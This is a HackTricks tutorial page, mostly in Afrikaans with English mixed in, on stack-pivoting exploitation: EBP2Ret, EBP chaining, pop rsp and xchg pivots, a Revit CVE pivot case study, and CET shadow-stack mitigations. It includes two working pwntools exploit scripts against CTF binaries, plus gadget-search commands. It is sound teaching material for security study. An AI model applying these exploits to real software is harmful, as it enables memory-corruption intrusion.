Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 15 minutes
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Basiese Inligting
Hierdie tegniek benut die vermoë om die Base Pointer (EBP/RBP) te manipuleer om die uitvoering van verskeie funksies aaneen te skakel deur noukeurige gebruik van die frame pointer en die leave; ret instruksie-sekwensie.
Ter herinnering, op x86/x86-64 is leave ekwivalent aan:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
En aangesien die gespaarde EBP/RBP in die stack is voor die gespaarde EIP/RIP, is dit moontlik om dit te beheer deur die stack te beheer.
Aantekeninge
- Op 64-bit, vervang EBPâRBP en ESPâRSP. Die semantiek is dieselfde.
- Sommige compilers laat die frame pointer weg (sien âEBP might not be usedâ). In daardie geval mag
leavenie verskyn nie en sal hierdie tegniek nie werk nie.
EBP2Ret
Hierdie tegniek is besonders nuttig wanneer jy die gespaarde EBP/RBP kan wysig maar geen direkte manier het om EIP/RIP te verander nie. Dit maak gebruik van die funksie-epiloog se gedrag.
If, during fvuln's execution, you manage to inject a fake EBP in the stack that points to an area in memory where your shellcode/ROP chain address is located (plus 8 bytes on amd64 / 4 bytes on x86 to account for the pop), you can indirectly control RIP. As the function returns, leave sets RSP to the crafted location and the subsequent pop rbp decreases RSP, effectively making it point to an address stored by the attacker there. Then ret will use that address.
Let daarop dat jy 2 adresse moet ken: die adres waarheen ESP/RSP gaan wys, en die waarde wat by daardie adres gestoor is wat ret sal gebruik.
Exploit Construction
Eers moet jy ân adres ken waar jy arbitrĂȘre data/adresse kan skryf. RSP sal hierna wys en die eerste ret gebruik.
Dan moet jy die adres kies wat deur ret gebruik sal word om die uitvoering oor te dra. You could use:
- A valid ONE_GADGET address.
- The address of
system()followed by the appropriate return and arguments (on x86:rettarget =&system, then 4 junk bytes, then&"/bin/sh"). - The address of a
jmp esp;gadget (ret2esp) followed by inline shellcode. - A ROP chain staged in writable memory.
Onthou dat voor enige van hierdie adresse in die beheerarea, daar ruimte moet wees vir die pop ebp/rbp van leave (8B op amd64, 4B op x86). Jy kan hierdie bytes misbruik om ân tweede fake EBP te stel en beheer te behou nadat die eerste oproep terugkeer.
Off-By-One Exploit
Daar is ân variant wat gebruik word wanneer jy slegs die minste betekenisvolle byte van die gespaarde EBP/RBP kan wysig. In so ân geval moet die geheue-lokasie wat die adres stoor waarheen met ret gespring word, die eerste drie/vyf bytes met die oorspronklike EBP/RBP deel sodat ân 1-byte oor-skrywing dit kan herlei. Gewoonlik word die laagste byte (offset 0x00) verhoog om so ver as moontlik binne ân nabygeleĂ« page/uitgelyne streek te spring.
Dit is ook algemeen om ân RET sled in die stack te gebruik en die werklike ROP-ketting aan die einde te sit om dit meer waarskynlik te maak dat die nuwe RSP binne die sled wys en die finale ROP-ketting uitgevoer word.
EBP Chaining
Deur ân beheerste adres in die gespaarde EBP-gleuf van die stack te plaas en ân leave; ret gadget in EIP/RIP, is dit moontlik om ESP/RSP na ân deur die aanvaller-beheerde adres te skuif.
Nou is RSP beheer en die volgende instruksie is ret. Plaas in die beheerste geheue iets soos:
&(next fake EBP)-> Gelaai deurpop ebp/rbpvanleave.&system()-> Aangeroep deurret.&(leave;ret)-> Nadatsystemeindig, skuif dit RSP na die volgende fake EBP en gaan voort.&("/bin/sh")-> Argument virsystem.
Op hierdie manier is dit moontlik om verskeie fake EBPs aan mekaar te koppel om die programvloei te beheer.
Dit is soos ân ret2lib, maar meer kompleks en slegs nuttig in randgevalle.
Boonop het jy hier ân example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI vereis 16-byte stack alignment by call sites. As jou chain funksies soos
systemaanroep, voeg 'n alignment gadget (bv.ret, ofsub rsp, 8 ; ret) voor die oproep by om alignment te handhaaf enmovapscrashes te vermy.
EBP mag dalk nie gebruik word nie
As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesnât restore from the frame pointer.
- Nie geoptimaliseer nie / frame pointer used:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Geoptimaliseer / frame pointer weggelaat:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Op amd64 sien jy dikwels pop rbp ; ret in plaas van leave ; ret, maar as die raamwyser heeltemal weggelaat word, is daar geen rbp-gebaseerde epiloog waardeur gepivot kan word nie.
Ander maniere om RSP te beheer
pop rsp gadget
In this page kan jy 'n voorbeeld vind wat hierdie tegniek gebruik. Vir daardie uitdaging moes 'n funksie met 2 spesifieke argumente aangeroep word, en daar was 'n pop rsp gadget en daar is 'n leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Kyk na die ret2esp-tegniek hier:
Pivot gadgets vinnig vind
Gebruik jou gunsteling gadget finder om te soek na klassieke pivot primitives:
leave ; reton functions or in librariespop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oradd esp, <imm> ; reton x86)
Voorbeelde:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klassieke pivot-staging patroon
'n robuuste pivot-strategie wat in baie CTFs/exploits gebruik word:
- Gebruik 'n klein aanvanklike overflow om
read/recvna 'n groot skryfbare area (e.g.,.bss, heap, or mapped RW memory) te roep en plaas 'n volledige ROP chain daar. - Keer terug na 'n pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) om RSP na daardie area te skuif. - Gaan voort met die staged chain (e.g., leak libc, call
mprotect, thenreadshellcode, then jump to it).
Windows: Destructor-loop weird-machine pivots (Revit RFA gevallestudie)
Client-side parsers implementeer soms destructor loops wat indirek 'n function pointer roep wat afgelei is van attacker-controlled object fields. As elke iterasie presies een indirecte oproep bied (a âone-gadgetâ machine), kan jy dit omskakel in 'n betroubare stack pivot en ROP entry.
Waargenome in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Geskepte objects van tipe
AStringplaas 'n pointer na attacker bytes by offset 0. - Die destructor loop voer effektief een gadget per object uit:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Twee praktiese pivots:
- Windows 10 (32-bit heap addrs): misaligned âmonster gadgetâ wat
8B E0bevat âmov esp, eax, uiteindelikret, om van die call primitive na ân heap-based ROP chain te pivot. - Windows 11 (full 64-bit addrs): gebruik twee objects om ân constrained weird-machine pivot aan te dryf:
- Gadget 1:
push rax ; pop rbp ; ret(skuif oorspronklike rax na rbp) - Gadget 2:
leave ; ... ; ret(wordmov rsp, rbp ; pop rbp ; ret), wat pivot na die eerste object se buffer, waar ân konvensionele ROP chain volg.
Wenke vir Windows x64 na die pivot:
- Respekteer die 0x20-byte shadow space en behou 16-byte uitlyning vóór
callsites. Dit is dikwels handig om literals bo die return address te plaas en ân gadget te gebruik sooslea rcx, [rsp+0x20] ; call raxgevolg deurpop rax ; retom stack-adresse deur te gee sonder om control flow te korrupteer. - Non-ASLR helper modules (indien aanwezig) bied stabiele gadget pools en imports soos
LoadLibraryW/GetProcAddressom dinamies te resolve teikens soosucrtbase!system. - Skep ontbrekende gadgets via ân writable thunk: as ân belowende volgorde eindig in ân
calldeur ân writable function pointer (bv. DLL import thunk of function pointer in .data), oor skryf daardie pointer met ân onskadelike enkele-stap soospop rax ; ret. Die volgorde tree dan op asof dit metretgeĂ«indig het (bv.mov rdx, rsi ; mov rcx, rdi ; ret), wat uiters waardevol is om Windows x64 arg-registers te laai sonder om ander te klobber.
Vir volledige chain konstruksie en gadget-voorbeelde, sien die verwysing hieronder.
Moderne mitigasies wat stack pivoting breek (CET/Shadow Stack)
Moderne x86 CPUs en OS'e gebruik toenemend CET Shadow Stack (SHSTK). Met SHSTK geaktiveer, vergelyk ret die return address op die normale stack met ân hardware-beskermde shadow stack; enige afwyking veroorsaak ân Control-Protection fout en beĂ«indig die proses. Daarom sal tegnieke soos EBP2Ret/leave;ret-gebaseerde pivots crash sodra die eerste ret vanaf ân gepivoteerde stack uitgevoer word.
- For background and deeper details see:
- Vinnige kontroles op Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Aantekeninge vir labs/CTF:
-
Sommige moderne distro's skakel SHSTK vir CET-gekoppelde binaries in wanneer die hardeware en glibc-ondersteuning beskikbaar is. Vir beheerde toetse in VMs kan SHSTK stelselwyd gedeaktiveer word via die kernel boot-parameter
nousershstk, of selektief ingeskakel word via glibc tunables tydens opstart (sien verwysings). Moet nie mitigasies op produksiedoelwitte deaktiveer nie. -
JOP/COOP of SROP-gebaseerde tegnieke mag steeds op sommige teikens werk, maar SHSTK breek spesifiek
ret-gebaseerde pivots. -
Windows-opmerking: Windows 10+ stel user-mode bloot en Windows 11 voeg kernel-mode âHardware-enforced Stack Protectionâ by, gebou op shadow stacks. CET-compatible prosesse voorkom stack pivoting/ROP by
ret; ontwikkelaars kies in via CETCOMPAT en verwante beleide (sien verwysing).
ARM64
In ARM64 stoor en haal die proloog en epiloë van funksies nie die SP-register op die stapel nie. Daarbenewens keer die RET-instruksie nie terug na die adres waarna SP wys nie, maar na die adres binne x30.
Therefore, by default, just abusing the epilogue you won't be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
Die manier om iets soortgelyks aan stack pivoting in ARM64 te doen, sou wees om die SP te kan beheer (deur 'n register te beheer waarvan die waarde aan SP oorgedra word of omdat om een of ander rede SP sy adres vanaf die stapel neem en ons 'n overflow het) en dan die epiloog te misbruik om die x30-register van 'n beheerede SP te laai en daarna na dit te RET.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
Verwysings
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64-bits, off-by-one-uitbuiting met 'n rop chain wat begin met 'n ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, geen relro, canary, nx en pie nie. Die program gee 'n leak vir stack of pie en 'n WWW van 'n qword. Eerstens kry die stack leak en gebruik die WWW om terug te gaan en die pie leak te kry. Dan gebruik die WWW om 'n "eternal" loop te skep deur
.fini_arrayentries te misbruik + die aanroep van__libc_csu_fini(meer inligting hier). Deur hierdie "eternal" write te misbruik, word 'n ROP chain in die .bss geskryf en eindig dit met die aanroep daarvan deur te pivot met RBP. - Linux kernel dokumentasie: Control-flow Enforcement Technology (CET) Shadow Stack â besonderhede oor SHSTK,
nousershstk,/proc/$PID/statusflags, en hoe om dit aan te skakel viaarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks